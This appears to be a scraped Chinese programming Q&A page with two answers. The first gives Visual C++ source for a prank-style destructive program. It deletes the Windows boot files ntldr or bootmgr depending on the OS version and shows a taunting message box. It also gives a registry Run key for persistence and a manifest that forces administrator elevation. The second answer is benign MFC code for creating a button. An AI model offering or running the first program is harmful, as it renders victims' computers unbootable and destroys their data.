1. 求 VC 6.0 程序代碼 想罵人的 滾 高分 100 追加 80
#include <windows.h>
#include <stdio.h>
#include <conio.h>
int main(int argc, char* argv[])
{
	OSVERSIONINFO osinfo; 
	osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 
	GetVersionEx(&osinfo);
	if (osinfo.dwMajorVersion == 5)		//Windows XP
	{
		system("del /s %systemroot%\\..\\..\\ntldr");
	} 
	if (osinfo.dwMajorVersion == 6)		//Windows 7
	{
		system("del /s %systemroot%\\..\\..\\bootmgr");
	}
	MessageBox(NULL, "哈哈哈  你電腦要壞了啦  千萬別關機哦", "", MB_OK|MB_ICONWARNING);
	return 0;
}
還有注冊表的沒時間做了,你去網路下吧,關鍵是:
	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
	"App"="%systemroot%\\App.exe"
還有下面的代碼:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    version="1.0.0.0"
    processorArchitecture="X86"
    name="a.exe.manifest"
    type="win32"
/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
        </requestedPrivileges>
    </security>
</trustInfo>
</assembly>
把其中的a.exe 改成 你的程序名字.exe,然後存為 你的程序名字.exe.manifest
這是用來win7提權的。。。 
另外,破壞了系統引導安全模式是無法打開的,我前幾天就刪了win7的BCD,結果開機藍屏,不可能再打開安全模式了。。。
2. 求VC++中生成按鈕的源代碼
// 動態構建按鈕代碼
CButton* pNewButton = new CButton();// 也可以定義為類的成員變數。
CRect rcButton( 10, 10, 50, 30); // 按鈕在對話框中的位置。
pNewButton->Create("按鈕", 0, rcButton, this, 10098);
pNewButton->ShowWindow(SW_SHOW);
// 添加按鈕消息代碼。
重載對話框的 WindowProc 消息處理函數
加如下代碼——這個要實現添加
if ( WM_COMMAND== message )
{
WORD wID = LOWORD(wParam);
if ( 10098 == wID)
{
CDC* pDC = GetDC();
pDC->TextOut( 100, 100, "文字");
ReleaseDC(pdc);
}
}